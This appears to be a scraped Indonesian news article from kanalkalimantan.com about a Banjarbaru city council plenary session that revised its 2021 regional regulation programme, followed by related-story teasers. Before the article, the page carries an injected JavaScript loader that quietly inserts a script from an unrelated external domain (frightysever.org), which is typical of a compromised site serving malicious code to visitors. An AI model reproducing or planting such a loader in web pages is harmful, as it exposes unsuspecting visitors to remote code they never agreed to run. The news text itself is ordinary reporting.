(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – DPRD Kota Banjarbaru menggelar rapat paripurna dengan agenda penyampaian perubahan Propemperda (Program Pembentukan Peraturan Daerah) Kota Banjarbaru tahun 2021, Senin (14/3/2021).
Hasil koordinasi Bapemperda (Badan Pembentukan Peraturan Daerah) DPRD Banjarbaru dengan Bagian Hukum Setda Kota Banjarbaru terhadap yang disepakati yaitu sebanyak 15 Raperda.
Berdasarkan Permendagri No 80 tahun 2015 tentang pembentukan produk hukum daerah, perencanaan penyusunan peraturan daerah dilaksanakan melalui Propemperda yang disusun bersama antara legislatif dan eksekutif.
Ada dua Perda yang perlu dan dipandang perlu untuk diusulkan ke Propemperda Perubahan Kota Banjarbaru tahun 2021.
Perubahan Propemperda Kota Banjarbaru tahun 2021 diantaranya Raperda tentang perubahan atas Perda nomor 31 tahun 2011 tentang retribusi penjualan produksi usaha daerah bidang perikanan untuk dibatalkan.
“Setelah dilakukan evaluasi dianggap masih relevan dan cukup diatur melalui peraturan kepala daerah,” ucap Anggota Komisi III DPRD Banjarbaru Nurkhalis.
Selanjutnya, Raperda tentang RPJMD diusulkan berdasarkan surat dari kepala Bappeda Kota Banjarbaru tentang permohonan Rancangan Perda RPJMD.
“Peraturan daerah tersebut haruslah ditetapkan Wali Kota paling lambat 6 bulan setelah Wali Kota Banjarbaru dilantik,” katanya.
Rapat Paripurna DPRD Banjarbaru, dipimpin Ketua DPRD Banjarbaru Fadliansyah SH MH didampingi Wakil Ketua Taufik Rachman dan Drs, H Napsiani Samandi serta dihadiri Wali Kota Banjarbaru Aditya Mufti Ariffin dan Wakil Wali Kota Wartono.(kanalkalimantan.com/rls)
Editor : Kk
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
This website uses cookies.